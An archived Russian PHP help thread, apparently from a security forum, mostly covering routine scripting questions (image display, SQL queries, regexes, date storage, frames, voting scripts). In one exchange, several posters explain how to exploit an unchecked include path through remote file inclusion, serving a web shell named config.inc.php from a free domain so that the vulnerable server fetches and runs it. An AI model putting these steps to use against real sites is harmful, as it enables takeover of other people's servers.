Не существует и вряд ли будет существовать. Просмотреть код можно только через баг или через скрипт на самом сайте.
lsass.exe
08.11.2007, 21:52
Есть у кого-нибудь скриптик, который "украшает" PHP код, то есть что-то типо тега [php]?
Самому писать лень =)
ты имеешь ввиду подсветку кода PHP ? если да то стукай в асю ;)
Переведите, пожалуйста: "скажите сразу днс сервера вашего хостера, что бы мы сразу их прописали"
lsass.exe
09.11.2007, 01:08
Переведите, пожалуйста: "скажите сразу днс сервера вашего хостера, что бы мы сразу их прописали"
прописывание днс серверов нужно что закрепить домен за каким-то хостом, стандартный вид
ns1.site.ru
ns2.site.ru
nc.STRIEM
09.11.2007, 01:10
Переведите, пожалуйста: "скажите сразу днс сервера вашего хостера, что бы мы сразу их прописали"
всмысле адрес днс сервера на котором прописан твой хост.
что ту переводить. есле всеравно не понятно, читай как работает интеренет)
spamoney
09.11.2007, 14:41
Всем привет! В общем у меня такая проблема, имеется скрипт для вывода случайной картинки:
global $array;
global $array2;
$dir="../Pictures/Pict";
function cd_dir($dir){
global $array;
global $array2;
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir/$k") && $k!="." && $k!="..")
cd_dir("$dir/$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{
$array[]=$dir."/".$k;
$array2[]=$k;
}
}
}
cd_dir($dir);
$number=rand(0,count($array)-1);
$resiz = 1; #если Вы будете выводить картинки 1:1, например используете блок для показа картинок для мобильных, то присвойте $resiz = 0
$etalon = 120; #максимальный размер картинки.
if ($resiz == 1) {
$size_img = getimagesize ("$array[$number]");
if ($size_img[0]>$etalon or $size_img[1]>$etalon) {
if ($size_img[0]>$size_img[1]) {
$koeff = $size_img[0]/$etalon;
} else {
$koeff = $size_img[1]/$etalon;
}
$w_new = $size_img[0]/$koeff;
$h_new = $size_img[1]/$koeff;
} else {
$w_new = $size_img[0];
$h_new = $size_img[1];
}
$new_s = "height=\"$h_new\" width=\"$w_new\"";
}
echo "<center><img $new_s src='$array[$number]' alt='Случайная картинка'>
</center><br>";
$size1=filesize("$array[$number]");
$size2=$size1/1024;
$size= round($size2);
echo "Файл:
<a href = '$array[$number]' title = 'Скачать картинку'>$array2[$number]</a><BR>";///Вывод названия
echo "Размер: $size Кб.<BR>";///Вывод Размера
Как сделать так что бы он выводил картинки определенного размера, допустим картинки не более 10 кб т.е если картинка более 10 кб то он её не выводит а проверяет на размер следующую, если и след. более 10 кб то проверяет следующую и т.д пока не найдёт ту которая меньше 10кб, вот её он должен вывести для просмотра....
groundhog
09.11.2007, 14:51
<?php
define("MAX_IMAGE_SIZE_KB", 10);
global $array;
global $array2;
$dir="pict";
function cd_dir($dir){
global $array;
global $array2;
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir/$k") && $k!="." && $k!="..")
cd_dir("$dir/$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{
$array[]=$dir."/".$k;
$array2[]=$k;
}
}
}
cd_dir($dir);
do {
$number=rand(0,count($array)-1);
$resiz = 1; #если Вы будете выводить картинки 1:1, например используете блок для показа картинок для мобильных, то присвойте $resiz = 0
$etalon = 120; #максимальный размер картинки.
if ($resiz == 1) {
$size_img = getimagesize ("$array[$number]");
if ($size_img[0]>$etalon or $size_img[1]>$etalon) {
if ($size_img[0]>$size_img[1]) {
$koeff = $size_img[0]/$etalon;
} else {
$koeff = $size_img[1]/$etalon;
}
$w_new = $size_img[0]/$koeff;
$h_new = $size_img[1]/$koeff;
} else {
$w_new = $size_img[0];
$h_new = $size_img[1];
}
$new_s = "height=\"$h_new\" width=\"$w_new\"";
}
$size1=filesize("$array[$number]");
} while (($size1/1024) > MAX_IMAGE_SIZE_KB);
echo "<center><img $new_s src='$array[$number]' alt='Случайная картинка'>
</center><br>";
$size2=$size1/1024;
$size= round($size2);
echo "Файл:
<a href = '$array[$number]' title = 'Скачать картинку'>$array2[$number]</a><BR>";///Вывод названия
echo "Размер: $size Кб.<BR>";///Вывод Размера
?>
spamoney
09.11.2007, 16:20
Спасибо! Всё работает!
Макс 8===3
09.11.2007, 19:41
Люди подскажите плиз что означает эта строчка?
<meta name="revisit" content="100 days">
phol1eadeux
09.11.2007, 19:45
Вроде поисковым системам для перепосещения сайта через определенный срок
Почитай здесь:
http://www.webotdel.ru/notes/metatags/
Люди подскажите плиз что означает эта строчка?
<meta name="revisit" content="100 days">
<meta name="revisit" content="7 days">
<meta name="revisit-after" content="7 days">
Эти теги, исходя из их описания, должны давать команду поисковой системе посещать данную страницу сайта так часто, как это прописано (в данном случае каждые 7 дней). На деле — каждый поисковый робот заходит на сайт с частотой которую сам посчитает нужной и возможной. Эта частота зависит от показателя цитируемости документа, чем этот показатель выше — тем чаще будет приходить поисковый робот. Например, главную страницу нашего сайта Googlebot (поисковый робот Google) посещает несколько раз в день.
ну по твоей аналогии так:
$i = 0;
while ($i <= 3)
{
$result = sql('SELECT * FROM news ORDER by id DESC LIMIT '.$i.',1');
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$id = $row['id'];
echo $id;
$i++;
};
обрати внимание, лимит должен с нуля начинаться
и если у тебя функция sql - неопределена, то вместо нее пользуй mysql_query()
groundhog
10.11.2007, 15:47
Меняешь константу RECORS_TO_SELECT на нужное тебе число, и именно столько записей будет выгребаться с конца.
<?php
define("DB_USER", "test");
define("DB_PASSWD", "test");
define("DB_HOST", "localhost");
define("DB_BASE", "test");
define("RECORS_TO_SELECT", 4);
$db_id = mysql_connect(DB_HOST, DB_USER, DB_PASSWD) or die('Could not connect database!');
mysql_selectdb(DB_BASE) or die('Could not select database!');
$sql = "SELECT count(*) NUM FROM lala";
$result = mysql_query($sql) or die("Query error: " . mysql_error());
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$num = intval($row["NUM"]) - RECORS_TO_SELECT;
$sql = sprintf("SELECT * FROM lala ORDER BY id LIMIT %d, %d", $num, RECORS_TO_SELECT);
$result = mysql_query($sql) or die("Query error: " . mysql_error());
$result_arr = array();
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) $result_arr[] = $row;
$result_arr = array_reverse($result_arr);
print("<pre>");
var_dump($result_arr);
print("</pre>");
mysql_free_result($result);
mysql_close($db_id);
?>
nc.STRIEM
10.11.2007, 19:47
>>>Нужно вывести 4 последних в обратном порядке
SELECT * FROM news ORDER by -id LIMIT 0,4
а у меня вопрос,если я не использую include() а прикрипляю как include"путь к файлу" это тоже уязвимость?
groundhog
12.11.2007, 17:10
а у меня вопрос,если я не использую include() а прикрипляю как include"путь к файлу" это тоже уязвимость?
Я не понял смысла вопроса... Особенно термин "прикрепляю"... Просто оцени как у тебя формируется путь к инклудному файлу. Если в нём присутствуют переменные - оцени риск их перезаписи... Обычно проблемы с инклудами возникают при register_globals=on и изрядно кривом коде.
ну допустим я на главную вывожу дату с файла date.php, вот код на главной <?
include "date.php";
?>
ну допустим я на главную вывожу дату с файла date.php, вот код на главной <?
include "date.php";
?> это уязвимость?
MegaDeth
12.11.2007, 18:19
Demetra, нет. тебе же сказали, если фигурируют переменные.
groundhog
12.11.2007, 18:42
Например вот так:
include $some_var . "/somefile.php";
Или что хуже:
include $_GET['some_var'] . "/somefile.php";
это как?
например так:
include $_GET[path]."date.php";
понятна,не я так не делаю.
InvisHero
12.11.2007, 23:42
Привет, в php скрипте, есть сл. код:
require_once $include_path."/include/config.inc.php";
Переменная "$include_path", никак не проверяется, т.е. я могу выполнить следующее:
target.php?include_path=http://somehost.ru
при условии, что на somehost.ru, есть "/include/config.inc.php".
Насколько я понял, подобная уязвимость описывается тут (http://forum.antichat.ru/threadnav12123-1-10-require_once.html), но мне не совсем понятно, что нужно делать =/
Вопрос: что с этим делать дальше?
Как можно залить шел?
Привет, в php скрипте, есть сл. код:
require_once $include_path."/include/config.inc.php";
Переменная "$include_path", никак не проверяется, т.е. я могу выполнить следующее:
target.php?include_path=http://somehost.ru
при условии, что на somehost.ru, есть "/include/config.inc.php".
Насколько я понял, подобная уязвимость описывается тут (http://forum.antichat.ru/threadnav12123-1-10-require_once.html), но мне не совсем понятно, что нужно делать =/
Вопрос: что с этим делать дальше?
Как можно залить шел?
Для начала тебе надо было задавать вопрос тут http://forum.antichat.ru/thread46016.html
Да ты прав бага есть и юзать ты можешь так как ты и сказал но есть одно НО! В php.ini должны быть включены register_globals без этого ты не сможешь заюзать эту багу... Ну а как шелл залить надеюсь догадаешься...
Насчет register_globals I-I()/Ib по идее правильно сказал, но есть куча функций, которые глобализируют переменную, это неплохо описал гемаглобин, а при хорошем раскладе (т.е. ты можешь в реквест пользовать эту переменную) ты можешь сделать следующее
зарегить на народе доменчик какой нить, ну например shell-dla-includa.narod.ru
создать там папку /include/ и в эту папку записать шелл и назвать его config.inc.php
далее через эту багу его подключить....target.php?include_path=ht tp://shell-dla-includa.narod.ru
InvisHero
13.11.2007, 00:12
Насчет register_globals I-I()/Ib по идее правильно сказал, но есть куча функций, которые глобализируют переменную, это неплохо описал гемаглобин, а при хорошем раскладе (т.е. ты можешь в реквест пользовать эту переменную) ты можешь сделать следующее
зарегить на народе доменчик какой нить, ну например shell-dla-includa.narod.ru
создать там папку /include/ и в эту папку записать шелл и назвать его config.inc.php
далее через эту багу его подключить....target.php?include_path=ht tp://shell-dla-includa.narod.ru
я именно так и делаю, но "config.inc.php", выполняется на удалённом сервере, а не на первичном.
я именно так и делаю, но "config.inc.php", выполняется на удалённом сервере, а не на первичном.
Господи ну ты еврей залей инклужимый скрипт туда где php не поддерживается!!!
Люди впишите в свои факи по инклудингу это крупным шрифтом на пол экрана... Бо я как смотрю это уже не первый впрос по этому поводу...
ет народ.. позно уже голова не варит....
Помогите собрать регулярное выражение
192.168.101.215 - - [12/Nov/2007:18:28:32 +0300] "GET / HTTP/1.1" 200 4570
Регулярка на айпи, дату, запрос
П.С. Мне просто надо чтоб он(скрипт) выводил всьо ето красиво и табличках(логи)
InvisHero
13.11.2007, 01:33
Всем спасибо)
Dimi4, ну мну делалбы без регулярок... Токо это мну! А ты как хош :)
Просто explode по пробелам...
<?
$s = '192.168.101.215 - - [12/Nov/2007:18:28:32 +0300] "GET / HTTP/1.1" 200 4570';
$s = explode(' ',$s);
echo "IP: {$s[0]}<br>
Date: {$s[3]} {$s[4]}<br>
Query: {$s[5]} {$s[6]} {$s[7]}";
?>
Хотя да... Криво получается... Но т.к. я регулярки незнаю, удачи :)
groundhog
13.11.2007, 16:53
<?php
$line = '192.168.101.215 - - [12/Nov/2007:18:28:32 +0300] "GET / HTTP/1.1" 200 4570';
if (!preg_match('/(.*) - - \[(.*)\] "(.*)" [\d]+ [\d]+/ius', $line, $match)) return false;
print("<pre>");
printf("IP Address: %s\n", $match[1]);
printf("Date: %s\n", $match[2]);
printf("Query: %s\n", $match[3]);
print("</pre>");
?>
кстати о регулярках. дайте мануал по составлению регулярных выражений. для тупых.
groundhog
13.11.2007, 18:58
http://ru.php.net/manual/ru/ref.pcre.php
http://ru.php.net/manual/ru/reference.pcre.pattern.syntax.php
http://ru.php.net/manual/ru/reference.pcre.pattern.modifiers.php
http://www.codenet.ru/cat/Languages/PHP/Regular-Expressions/
Я лично после того поста решил их тож выучить, и нащёл отличный мануал
http://phpclub.ru/detail/article/regexp_1
Рекомендую имено его :)
.:EnoT:.
14.11.2007, 14:40
Блин, прям в тему попал.
Тоже с регулярами беда, почитал мануалы, но чё-то всё равно не получается....с проверкой логина, и мыла разобрался, но с цифрами не могу чёт никак.
Значит есть некая форма куда вводится номер icq, далее в обработчике проверка на то чтобы в номере содержались только цифры от 0 до 9 и знак дефиса -
if($icq and !preg_match("[0-9-]", $icq))
{echo"Неверно введён icq-номер!";}
В любом случае выводит что номер введён неверно...
Непоминаю что не так
groundhog
14.11.2007, 15:13
<?php
$icq = "123-123";
$icq = str_replace("-", "", $icq);
if (!preg_match("/^[1-9][0-9]{5,9}$/", $icq))
die("Гы-гы!");
?>
у меня проблема с занесением даты в таблицу бд
вот форма даты:
блин код не нажимается, буду просто писать
<td>
<div align="center"><b>Ваш день рождения:</b></td>
</div>
<td>
<div align="center">
<select name=birthdayDay>
<option value="<?php echo $_POST['birthdayDay']?>">
<?php echo $_REQUEST['birthdayDay']?>
<?
for ($i=1; $i<32; $i++){
echo "<option value=\"$i\">$i</option>";
}
?>
</select>
<select name=birthdayMonth>
<option value="<?php echo $_POST['birthdayMonth']?>"><?php echo $_POST['birthdayMonth']?>
<option value="1">Январь
<option value="2">Февраль
<option value="3">Март
<option value="4">Апрель
<option value="5">Май
<option value="6">Июнь
<option value="7">Июль
<option value="8">Август
<option value="9">Сентябрь
<option value="10">Октябрь
<option value="11">Ноябрь
<option value="12">Декабрь
</select>
<select name=birthdayYear>
<option value="<?php echo $_POST['birthdayYear']?>"><?php echo $_POST['birthdayYear']?>
<?
for ($i=1950; $i<2002; $i++){
echo "<option value=\"$i\">$i</option>";
}
?>
</div>
</select>
</td>
после нажития регистрация переходит на страничку в которой обрабатываю запрос
$birthday=$_POST["birthdayYear"]."-".$_POST["birthdayMonth"]."-".$_POST["birthdayDay"];
и добавляю в бд
$sql = "INSERT INTO users_reg (birthday) VALUES ('$birthday' )";
$result = mysql_query($sql) or die ("Ошибка");;
mysql_close($db_name);
.::Gh0st::.
14.11.2007, 19:25
а разве не надо:
<form action="скрипт_в_котором_обрабатыв ю_запрос" method="post">
а там уже в форме:
<input type="text" name="birthdayDay"/>
и только потом помойму надо уже использовать
<select ...
<option ...
<form action=***>
это есть, просто я не написал этого суда и все
и дата то заносится то не заносится
в таблице поставил тип у birthday DATA хз...непонятно,Э то заносит то нет в большенстве случаев пишет 0000-00-00
и еще не могу разобраться с фрэймами, разделил окно на две части, в одной половине ссылка, нужно чтобы при нажатии на нее открывалось страница на весь экран, а не в этом фрэйме в котором была кнопка=( подскажите
<a href="http://ya.ru" target="_blank">YA</a>
и еще не могу разобраться с фрэймами, разделил окно на две части, в одной половине ссылка, нужно чтобы при нажатии на нее открывалось страница на весь экран, а не в этом фрэйме в котором была кнопка=( подскажите
если надо в новом окне, то как показал Бульчег, если в том же, то:
<a href=http://ya.ru target="_parent">ya</a>
<form action=***> это есть, просто я не написал этого суда и все и дата то заносится то не заносится в таблице поставил тип у birthday DATA хз...непонятно,Э то заносит то нет в большенстве случаев пишет 0000-00-00
Я с датами в таком виде не работал, но и тебе не советовал бы. Рекомендую делать так:
$date=mktime(date("H"),date("i"),date("s"),date("m"),date("d"),date("Y")); // текущая дата
// в переменную date заносится количество секунд после чего-то там (непомню чего, да и неважно)
в БД делаешь поле типа int и заносишь переменную туда. А когда досташь из базы эту дату, делаешь такое преобразование:
echo date("d.m.Y",$value_from_DB);
//ну и как понимаешь, формат d.m.Y делаешь как тебе надо
Еще тут фишка - удобно сраванивать даты, т.к. дата - это количество секунд с чего-то там. Получается, что ты просто сравниваешь целые числа. Если есть вопросы, почитай документацию к функциям:
date() (http://php.ru/manual/function.date.html) , mktime() (http://php.ru/manual/function.mktime.html)
.:EnoT:.
15.11.2007, 13:46
<form action=***>
это есть, просто я не написал этого суда и все
и дата то заносится то не заносится
в таблице поставил тип у birthday DATA хз...непонятно,Э то заносит то нет в большенстве случаев пишет 0000-00-00
Зачем же ты тип DATE поставил у поля?
Не легче ли поставить тип VARCHAR, получить дату при помощи
$date = date('d', 'm', 'Y');
Ну и потом заносить в БД:
$sql = "INSERT INTO `users_reg` (birthday) VALUES ('$date')";
$result = mysql_query($sql);
if (!result) {echo"Ошибка";}
mysql_close();
Зачем же ты тип Date поставил у поля?
Не легче ли поставить тип Varchar, получить дату при помощи
Ну и потом заносить в БД:
По-моему лучше бы все таки поставить не Varchar а Int, как написал je0n, поскольку так удобнее всего работать с датой имхо...
groundhog
15.11.2007, 15:44
Разумеется, лучше использовать поле типа INT и засовывать туда timestamp, ну или если дефолтное значение - INT blablabla NOT NULL DEFAULT CURRENT_TIMESTAMP.
.:EnoT:.
15.11.2007, 15:46
По-моему лучше бы все таки поставить не Varchar а Int, как написал je0n, поскольку так удобнее всего работать с датой имхо...
Для меня наоборот, с INTом были проблемы (возможно из-за точек между числами), поэтому и пользуюсь для даты типом VARCHAR, имхо удобнее для меня так
groundhog
15.11.2007, 15:59
.:enot:., лучше откажись от использования типа Varchar для хранения даты, это как минимум затратно - хранить Int в 4 байта или твою дату, в которой ХЗ сколько байт, но уж точно больше 4... Скажем для формата Dd-mm-yyyy Hh:mm:ss - это уже 19 байт. Есть разница? Кроме того, по строковому параметру поиск идёт медленнее, выход - проиндексировать его, но какой смысл индексировать колонку в которой содержатся данные без повторений? Лучше делай по уму... И не допускай таких упущений в серьёзных проектах.
я не правильно описал проблему, у меня не просто ссылка а кнопка, я попробовал в кнопке прописать target=_blank и вроде получается но только в опере, а ие открывает в этом же фрейме, а с датой спасибо большое всем помогло=)
.:EnoT:.
15.11.2007, 16:19
.:enot:., лучше откажись от использования типа Varchar для хранения даты, это как минимум затратно - хранить Int в 4 байта или твою дату, в которой ХЗ сколько байт, но уж точно больше 4... Скажем для формата Dd-mm-yyyy Hh:mm:ss - это уже 19 байт. Есть разница? Кроме того, по строковому параметру поиск идёт медленнее, выход - проиндексировать его, но какой смысл индексировать колонку в которой содержатся данные без повторений? Лучше делай по уму... И не допускай таких упущений в серьёзных проектах.
Да, это я знаю. Кстати такая же проблема была с хранением IP в БД. При типе поля INT писал 0, поэтому пришлось использовать VARCHAR. Ну а до серьёзного проекта мне ещё далеко, я тока на стадии изучения php, поэтому щас пишу маленький хоум-паг движок, ну а для него я думаю не особо существенна скорость работы с мускулем в различиях между 4 и 19 байтами :)
Хотя я ещё со своей первой книжки по php знаю что текстовые поля занимают больше времени вывода чем числовые.
groundhog
15.11.2007, 17:00
Ip-как раз и надо хранить строкой... А в идеале (если не подразумевается работать с таблицей напрямую через Sql-запросы, иначе усложнит реализацию запросов), нужно разбивать Ip на части, каждую часть преобразовывать в Hex представление, и уже засовывать результат в Char(8) поле... Это будет наиболее оптимально. Например:
Ip-127.0.0.1
Ip[0] = 127 (7f)
Ip[1] = 0 (00)
Ip[2] = 0 (00)
Ip[3] = 1 (01)
и засовывать в базу, в поле Char(8) строку 7f000001.
halkfild
15.11.2007, 18:26
используй
ip2long php
ip2long - конвертирует строку, содержащую адрес (IPv4) Internet Protocol, в подходящий адрес.
обратно long2ip
или средствами mysql
INET_ATON()
mysql> SELECT INET_ATON('127.0.0.1'), INET_ATON('127.1');
-> 2130706433, 2130706433
и обратную ей
INET_NTOA()
mysql> SELECT INET_NTOA(3520061480);
-> '209.207.224.40'
groundhog
15.11.2007, 18:56
Inet_aton() и Inet_ntoa() я бы не советовал использовать, т.к. это усложнит перенос веб-приложения на другие СУБД, в которых такие фичи отсутствуют. Лучше сделать это преобразование в Php-коде чтобы СУБД работала уже с окончательной версией данных.
darckmilord
16.11.2007, 18:44
Всем привет, Ребята помогите пожалуйста... Начал работать с ПХП и решил написать голосование...
сделал вот таким образом...
<table class=blok><tr><td class=head><div class=white>
Голосование:
</div></td></tr><tr><td><div>
<?php
$data='basa/vote.vhg'; // Название файла базы банных
if($action=='done')
{
$file = fopen($data, "r+t");
$content=fread($file, filesize($data));
$content=explode('-', $content);
if($game==1) $content[0]=$content[0]+1;
if($game==2) $content[1]=$content[1]+1;
if($game==3) $content[2]=$content[2]+1;
if($price==1) $content[3]=$content[3]+1;
if($price==2) $content[4]=$content[4]+1;
if($price==3) $content[5]=$content[5]+1;
echo("
<center>
<font size=+2><div style=\"wi-dth: 200px;height: 24px;filter: shadow(color=#999999,direction=150);back-ground: #aaaaaa\">
Спасибо, за голос!</div></font>
<table><tr><td width=30%><font face=arial size=1 color=#ffc000>
класс:<br>
норма:<br>
плохо:</td>
<td width=7%><font face=arial size=1 color=#ffc000>
$content[0]<br>$content[1]<br>$content[2]</td>
<td width=56%><font face=arial size=1 color=#ffc000>
WEB кодинг:<br>
Кодинг:<br>
Реверсинг:</td>
<td width=7%><font face=arial size=1 color=#ffc000>
$content[3]<br>$content[4]<br>$content[5]</td>
</font></td></tr></table></center><hr><a href=javascript:history.back(2)><i>Вернуться назад</i></a>
");
$content=implode("-", $content);
rewind($file);
fwrite($file, $content);
fclose($file);
}
else
{
echo('
<center>
<font size=+2><div style="width: 200px;height: 24px;filter: shadow(color=#999999,direction=150);back-ground: #aaaaaa">
ПРОГОЛОСУЙ!</div></font>
<form action=index.php?action=done method=post>
<table><tr><td>
<font face=arial size=1 color=#ffc000>Как Вам портал?<br>
<input type="radio" name="game" value="1">на 5 баллов<br>
<input type="radio" name="game" value="2" checked>на 3 балла<br>
<input type="radio" name="game" value="3">на 1 балл<br><br>
</td><td><tr><td>
<font face=arial><font face=arial size=1 color=#ffc000>Ваше направление?<br>
<input type="radio" name="price" value="1">WEB кодинг<br>
<input type="radio" name="price" value="2">Кодинг<br>
<input type="radio" name="price" value="3" checked>Реверсинг</font>
</td></tr></table><br>
<input class=but type=submit value=проголосовать>
</form>
</center><a href=javascript:history.back(1)><i>Вернуться назад</i></a>
');
}
?>
</div></td></tr></table>
Скажите пожалуйста как сделать так чтобы проголосовав потом страница сразу отображала результаты а при попытке проголосовать по новой говорила что я уже голосовал.... пробовал с getcookie но повидимому руки кривые и знаний мало..
darckmilord: можно сделать таблицу в бд в которую будут делаться записи ip|время голосования потом при голосовании проверять как давно голосовал или голосовал ли.либо сессии
darckmilord
16.11.2007, 18:55
хммм scrat знаешь я бы рад но есив я на пхп не могу это пока организовать то что говорить про работу с базами данных....
Моно в файл записать с каких айпи голосовали а при голосовани проверять если такой ип уже голосовал.
(если это скрипт теоретический и его не будут ставить на сайт.)
но лучше помойму в кукисах прописать отметку о том что человек проголосовал....
А вот как это сделать пусть ктото из программистов ответит .. а то я пока не наю как это делать =)
Моно в файл записать с каких айпи голосовали а при голосовани проверять если такой ип уже голосовал.
<?
$file = 'ips.txt';
if( substr_count( file_get_contents($file), getenv('REMOTE_ADDR') ) < 1 )
{
golosovanie(); // ну здесь само голосование
$fopen = fopen( $file, 'a' );
fwrite( $fopen, getenv( 'REMOTE_ADDR') );
fclose( $fopen );
}
else
{
echo('Вы уже голосовали');
}
?>
но лучше помойму в кукисах прописать отметку о том что человек проголосовал....
Нет не лучше. любой может очистить или изменить кукисы.
а что если сидят 20 человек на сайте с одного ип?
и если записывать для каждого голосования ип в отдельный файл то это просто будет увеличивать размеры скрипта.... ладно еси проголосуют 20 - 30 а если 30к или 100к?
а что если сидят 20 человек на сайте с одного ип?
Попробуй ещё и по браузеру проверять..
<?
$file = 'ips.txt';
if( substr_count( file_get_contents($file), getenv('REMOTE_ADDR')." ".$_SERVER["HTTP_USER_AGENT"] ) < 1 )
{
golosovanie(); // ну здесь само голосование
$fopen = fopen( $file, 'a' );
fwrite( $fopen, getenv( 'REMOTE_ADDR')." ".$_SERVER["HTTP_USER_AGENT"] );
fclose( $fopen );
}
else
{
echo('Вы уже голосовали');
}
?>
Как-ниубдь так =)
RedBull@12
17.11.2007, 13:57
у меня еще вариант с системным временем.
врядли будет совпалать секунда в секунду время на разных машинах,довольно редко да и при этом с одного айпи+с того же браузера...
проверка времени.
Берем выдираем системное время сервера(H1.M1.S1) и полученное нами время на машине у клиента(H2.M2.S3)....дальше из серверного времени вычитаем клиентское время(H1-H2.M1-M2.S1-S),у нас получается разница двух времен(H3.M3.S3)...совпадение мало вероятно...(но и тут же есть проблемы,еслиу клиента слишком медленный инет то данная тема будет ошибаться,хотя кто будет проводить атаку на медленном сервере)...и вписываем эту разницу в файл с ip клиента и его браузером...
т.е.
берем выдираем ip,браузер,системное время(через яваскрипт)...потом подается запрос...
и мы со своей стороны делаем проверку. в 3этапа:
1-Проверяем наличие данного ip.
2-если ip уже есть сверяем его браузеры
3-если сново сопадает - проверяем время.
Итог-
если все совпадает то человек уже здесь был,иначе-голосует
p.s.: ну я бы и не отказался от куков,подделать можно да,но все же как дополнительную проблему для недруга использовать тоже нужно.
а еще вариант,если человек зашел под ИЕ,то можно выдрать имя компьютера...которое тоже врядли будет совпадать...
var compName=new
ActiveXObject("WScript.Shell").Environment("Process").item("COMPUTERNAME");
Да и сессии я думаю тоже есть смысл прикрутить.
Вопрос...
Видел многие люди используют $http_post_vars и $http_get_vars но это вроде тоже самое что и
$_request да?
а если это так то почему люди не используют рекюест? это вродь и кароче и правельнее будет или это просто привычка?
Вопрос...
Видел многие люди используют $http_post_vars и $http_get_vars но это вроде тоже самое что и
$_request да?
а если это так то почему люди не используют рекюест? это вродь и кароче и правельнее будет или это просто привычка?
$_REQUEST - это любой метод, т.е. если $_GET['test'] или $_POST['test'] = 'asd', то и $_REQUEST['test'] = 'asd'.
Некоторые юзают $HTTP_POST(GET)_VARS, для уточнения, что юзается метод пост(гет). Чем отличается он от $_POST(GET) я не знаю =)
спасиб за разеснение! мне просто показалось страным что юзают для определёного метода, иногда када делаеш скриптик и надо поменять метод пост на гет или наоборот то это ж геморой искать и заменять везде.
ещё вопрос ... када юзать echo а када printf()?
када юзать echo а када printf()?
echo можно юзать в любом слючае, но в некоторых printf удобней, это когда надо отформатировать и вывести строку.
как генирировать неповторяющиеся случайные числа?
в функции rand() числа повторяюццо
astrologer
17.11.2007, 21:36
как генирировать неповторяющиеся случайные числа?
в функции rand() числа повторяюццопопробуй mt_rand()
А также srand() (http://ru2.php.net/manual/ru/function.srand.php) и mt_srand() (http://ru2.php.net/manual/ru/function.mt-srand.php)
VOLAND']Нужно вычислить количество повторений каждого имени и вывести в порядке убывания...Должно работать, правда не тестил
$query=mysql_query("select `author` from `table` order by `author`") or die();
$author='';
$count='';
for($i=0;$i<mysql_num_rows($query);$i++){
$array=mysql_fetch_array($query);
if($author==$array['author'] or !$count){
$author==$array['author'];
$count++;
} else {
echo $author.':'.$count.'<br>';
$author==$array['author'];
$count=1;
}
}
Chrek625
18.11.2007, 18:10
Вот маленький рукописный сайтик состоящий из двух частей и соединёного в одном фрейме. Первая часть минюшка с сылками на страницы а вторая чать основная оставшаяся чатсть на которой выводятся фотки с кометами Так вот можноли написать такой скрипт чтобы всё это соеденить в одно окно и при переходе по ссылке изменялась вернее на ней выводилась необходимая инфа находящаяся по ссылки но при этом часть с менюшеой не изменялась??? Масло масленое понимаю но подругому не могу обьяснить кто может помочь тому буду благодарен.
Chrek625, ну у тебя и запросики... Можно попробовать делать /index.php#page и чтобы js грузил при этом page.php например, а при клике на какое-то меню, ссылка меняласьбы на /index.php#lalala это к примеру... Как это сделать - незнаю... Ищи форумы по JS. Это не по PHP проблема
astrologer
18.11.2007, 22:34
Chrek625,
//----------------------
// frameset.html:
//----------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Пример</title>
</head>
<frameset cols="160,*" frameborder="no" border="0" framespacing="0">
<frame src="menu.html" name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame" title="leftFrame">
<frame src="main.html" name="mainFrame" id="mainFrame" title="mainFrame">
</frameset>
<noframes>
<body>
Ваш браузер не подерживает фреймы.
</body>
</noframes></html>
//------------------
// main.html:
//------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Контент</title>
<style type="text/css">
<!--
p { clear:left; }
//-->
</style>
</head>
<body>
<p>Разный контент.....</p>
<img align="left" src="http://google.com/images?q=tbn:http://www.intotheblack.ca/files/images/SamsaraInField_0.jpg">
<p>1</p>
<img align="left" src="http://google.com/images?q=tbn:www.dfrc.nasa.gov/gallery/photo/F-18SRA/Medium/EC95-42988-5.jpg">
<p>2</p>
<img align="left" src="http://google.com/images?q=tbn:http://www.ifc-leasing.com/images/aviateh/an/An-148_1.jpg">
<p>3</p>
</body>
</html>
//------------------
// menu.html:
//------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Меню</title>
</head>
<body>
<ul>
<li><a href="http://antichat.ru" target="mainFrame">Antichat</a></li>
<li><a href="http://google.ru" target="mainFrame">Google</a></li>
<li><a href="http://ya.ru" target="mainFrame">Yandex</a></li>
</ul>
</body>
</html>
Сохрани все три файла в одну папку и открой frameset.html.
groundhog
19.11.2007, 11:35
ant0ha, зачем изобретать колесо, когда весь смысл задания можно сделать одним запросом и выгрести результаты?
SELECT author, COUNT(id) NUM FROM lalala GROUP BY author ORDER BY NUM DESC
Chrek625, просто пропиши в всех ссылок меню атрибут target="ИМЯ_ФРЕЙМА", где ИМЯ_ФРЕЙМА - это имя фрейма, в котором ты отображаешь контент.
real_kas
19.11.2007, 11:51
А как правильно сделать Облако тегов на Php?
groundhog
19.11.2007, 12:00
Сначала определись, что оно должно олицетворять... Если какую-то твою локальную байду - создай отдельную табу, куда при поиске будешь включать слова в соответствии с понятием релевантности в контексте поиска по твоему сайту. Каждый поисковый термин награди такой величиной как "вес" - количество поисков по данному термину. Потом выгребай из табы какое-то число записей и в соответствии с их весом и релевантностью выводи в заданном размере и цвете...
groundhog
19.11.2007, 17:18
Смотри выше, я написал запрос.
.:EnoT:.
19.11.2007, 18:01
Дайте пожалуйста линки на очень подробные маны по сессиям и кукисам. То что в самоучителях и общих манах пишут всё время путаюсь. Хотелось бы более подробно изучить.
Заранее спасибо :)
Тут есть кое-что
http://php.su/functions/?page=S
VOLAND']
Нужно вычислить количество повторений каждого имени
возможно очень далеко не идеальный выход но кол-во повторений можно посчитать:
